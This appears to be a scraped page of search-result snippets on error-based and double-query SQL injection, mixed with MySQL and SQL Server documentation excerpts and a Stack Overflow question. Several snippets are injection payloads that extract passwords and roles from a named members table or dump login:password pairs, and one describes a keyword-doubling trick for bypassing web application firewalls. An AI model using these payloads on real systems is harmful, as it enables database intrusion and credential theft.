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error based & double query Sql Injection - YouTube
and (select 1 from (select count(*),concat((select(select concat(cast(concat(mm_pwd,0x7e,mm_role) as char),0x7e)) from lpsschoo.members limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and+extractvalue(rand...
And (select 4833 from(select count(*), concat...
...CONCAT(table_name,(SELECT MID((IFNULL(CAST(COUNT(*) AS CHAR),CHAR(32))),1,50) FROM information_schema.SCHEMATA),CHAR(58,109,107
MySQL :: MySQL 8.0 Reference Manual :: 12.5 String Functions
CHAR() interprets each argument N as an integer and returns a string consisting of the characters given by the code values of those integers.
MySQL CONCAT() Function
SELECT CONCAT("SQL ", "Tutorial ", "is ", "fun!") AS ConcatenatedString; Try it Yourself ». Definition and Usage. The CONCAT() function adds two or more expressions together. Note: Also look at the CONCAT_WS() function. Syntax.
CAST and CONVERT (Transact-SQL) - SQL Server | Microsoft Docs
SELECT CAST('abc' AS varchar(5)) COLLATE French_CS_AS. Truncating and rounding results. When converting character or binary expressions (binary, char
SQL injeCtion : ByPassing WAF (Web Application Firewall) - CyberNinjas
cyb3rninjas.blogspot.com
like we see [select] is down let's double text [Replacing keywords] like this SeLselectECT.
duplicate key for entry on select?
mysql> select count(*),CONCAT('xxx:',FLOOR(RAND(0)*2)) AS X from tables group by x; ERROR 1062 (23000): Duplicate entry 'xxx:1' for key 'group_key' mysql
mysql - SQL Injection attack - What does this do? - Stack Overflow
I have detected some failed SQL injection attacks on my website. The failed queries are of the form: … The ':sjw:1:ukt:1' part is specially constructed with variables concatenated together to give random 0s...
SQLi | GROUP_CONCAT (limit = 1024 symbols)
select GROUP_CONCAT (concat_ws(0x3a,login,password)) from users; BENCHMARK as a cycle.